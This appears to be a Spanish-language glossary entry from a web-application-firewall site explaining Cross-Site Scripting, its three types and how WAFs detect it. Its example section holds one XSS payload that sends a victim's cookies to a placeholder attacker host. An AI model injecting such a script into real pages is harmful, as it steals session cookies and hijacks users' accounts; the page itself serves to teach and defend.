WAFPlanet

Cross-Site Scripting (XSS)

Tipos de Ataque

Quick Definition

Una vulnerabilidad que permite a los atacantes inyectar scripts maliciosos del lado del cliente en páginas web vistas por otros usuarios.

¿Qué es Cross-Site Scripting?

Cross-Site Scripting (XSS) es un ataque de inyección de código del lado del cliente donde un atacante puede ejecutar scripts maliciosos en el navegador de la víctima. XSS ocurre cuando una aplicación web incluye datos no confiables en una página web sin validación o escape adecuados.

Los ataques XSS pueden usarse para:

  • Robar cookies de sesión y secuestrar cuentas de usuario
  • Redirigir usuarios a sitios web maliciosos
  • Desfigurar páginas web
  • Registrar pulsaciones de teclas y capturar datos sensibles
  • Propagar malware

Hay tres tipos principales de XSS:

  • XSS Almacenado: El script malicioso se almacena permanentemente en el servidor objetivo (en base de datos, campo de comentarios, etc.)
  • XSS Reflejado: El script malicioso se incrusta en una URL y se refleja desde el servidor web en mensajes de error o resultados de búsqueda
  • XSS basado en DOM: La vulnerabilidad existe en JavaScript del lado del cliente en lugar de código del servidor

Ejemplos

Un formulario de comentarios que muestra entrada de usuario sin escape:

<script>document.location='http://atacante.com/robar?cookie='+document.cookie</script>

Cuando otros usuarios ven la página con este comentario, sus cookies de sesión son enviadas al servidor del atacante.

Preguntas Frecuentes

¿Cómo detectan los WAF los ataques XSS?

Los WAF detectan XSS escaneando peticiones HTTP en busca de patrones maliciosos de JavaScript, etiquetas HTML y manejadores de eventos. Buscan etiquetas script, URLs javascript, atributos de eventos como onload/onerror, y variaciones codificadas de estos patrones.